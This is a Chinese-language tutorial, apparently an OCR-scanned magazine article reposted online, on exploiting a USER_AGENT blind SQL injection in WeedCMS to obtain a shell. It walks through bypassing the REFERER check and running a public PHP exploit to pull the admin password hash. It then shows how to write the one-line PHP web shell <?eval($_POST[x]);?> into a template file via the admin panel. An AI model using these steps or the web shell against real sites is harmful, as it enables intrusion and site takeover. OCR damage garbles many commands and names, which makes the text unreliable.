1. 程式人生 > >利用野草weedcmsuseragent盲註漏洞拿shell

利用野草weedcmsuseragent盲註漏洞拿shell

出了 shel fig 我只 直接插入 art 邏輯 app tools

野草網站管理系統(WEEDCMS)是由野草獨立基於PHP+MYSQL開發的內容管理系統。面向企業、個人、小門戶等中小規模網站使用而開發的。采用國際上比較流行Smarty引擎和敏捷的JQuery JS框架。

在tools.net上看到有人公布了Weedons的USER_AGENT盲窪漏洞,漏洞影響Weedcms的4 0版和最新的WeedCMS v5.O build 20110101版本,下面我就把這個漏洞介紹給大家。

一.漏洞簡單分析

這個漏洞的公布者是sswowo,sswowo已經進行了比較詳細的分析,這裏直接引用。

出現漏洞的文件是vote.php,USER_ AGENT直接插入數據庫,沒有經過過濾,導致產生Insert型SQL註入。由於無錯誤提示,只能進行盲註。代碼就不具體寫下來了,有需要的可以找我要。

我們可以看到這個函數沒有對傳人的數據進行任何的過濾,只是簡單的SQL語句生成,最後調用query()執行。

首先程序通過GET獲取了action變量,如果ac tio n==ok。則處理投票,然後調用了checkrequest()函數對請求進行驗證,我們跟進一下這個函數,找到includes/function.php第390行。

我們可以看到,只對REFERER,進行了簡單的正則匹配,和XjHO ST進行了比對,我們可以通過偽造請求R衛FERER即可繞過此驗證。

接著程序獲取了vote_id變量,我們給他傳人一個不存在的ID即可,防止在不同的目標環境中導致程序邏輯被中斷,然後我們看後面在最後插入投票數據時,直接獲取了$_SERVER[’HTTP_USER—AGENT‘]並且沒有任何過濾,而且$_SERVEFR變量是不受magic_quotes_gpc保護的,所以該漏洞通用性很好,幾乎可以通殺。最後使用了$db->insert0函數插入到了數據庫,我們跟一下這個函數看有沒有過濾。找到includes/class_db.php第20-7我們可以看到這個函數沒有對傳人的數據進行任何的過濾,只是簡單的SQL語句生成,最後調用query()執行。漏洞分析就簡單引用到這裏,下面來看漏洞利用過程。

二.漏洞利用

我從網上下載了野草Weedcms最新版本的野革內容管理系統WeedC MS v5.o build 20110101的源代碼,用AppServ在虛擬機裏把程序運行了起來。

USER_AGENT盲註漏洞怎麽利用呢?別急,sswowo已經給出了一個漏洞的利用EXP,把EXP的代碼保存為weedcmsexp.php備用。由於EXP是用PHP代碼寫的,因此需要用php.exe進行解析。有的朋友可能不知道php.exe在哪裏,安裝了PHP就有了,我搭建php WEB環境用的AppServ裏自帶_r‘phpS,我就不用再安裝PHP了,直接使用了。AppServ中php5的安裝目錄為C:\AppServ\php5,按鍵盤上的WIN+R鍵調出“運行”,輸入cmd後回車就打開了命令提示符,輸入c dVl:JJ換到C盤根目錄下,然後輸入cd C:YAppServ\php5,回車,切換到php.exeF在的目錄。把漏洞利用EXP weedcmsexp.php復制到C:\AppServ\php5目錄下,在命令提示符下輸入php.exeweedcmsexp.php就會看到EXI,怎麽用。後面跟的4個參數分別為:目標主機端口程序路徑(以/開頭結尾)延時。要對我虛擬機裏搭建的Weedcms進行註入,輸入php.exe weedcmsexp.php127.0.0.1 80”/weed/””2”,回車後會看到一行行信息滾過。

註入完成後,猜解出的管理員的用戶名為admin,密碼為d033 e22ae348aeb5660fc2140aec35850c4da997,密碼是經過shal加密的,在在線破解網站得到了管理員的用戶名和密碼就該進後臺想辦法拿shell了。Weedcms的後臺登錄文件是網站根目錄下的admin_.php,用得到的用戶名和密碼順利進入了後臺。

雖然Weedcms 4.0和5.0都可以註入,但我只會在進入Weedcms 5.0的後臺後才能獲得shell,對於4.O版本的We edcms在後臺沒找到拿shell的方法,也許我太菜了,有知道怎麽拿shell的歡迎和我交流。Weedcms 5.0後臺拿shell的方法我是學的心靈公布的野草weedcms 5.0寫馬漏洞的方法。具體利用方法為在Weedcms的網站地址後面加上如下代碼:admin.php?action=config&do=te mplate_edit&file=part__ vote.html,訪問後打開的頁面。

是編輯模板文件的頁面,在文件頭插入<?eval($一POST[x]);?>,提交後訪問一下網站首頁,php-句話木馬就寫到temps/compile/目錄下的part_vote.html.php文件中了,用lanker-句話PHP後門客戶端3.O內部版連接獲得shell。

雖然Weedcms不是很大眾,但這個漏洞仍然有值得大家留意的地方,比如USER AGENT盲註的方法,如果有能力的可以借鑒下漏洞利用EXP的代碼,相信你會有所收獲。

利用野草weedcmsuseragent盲註漏洞拿shell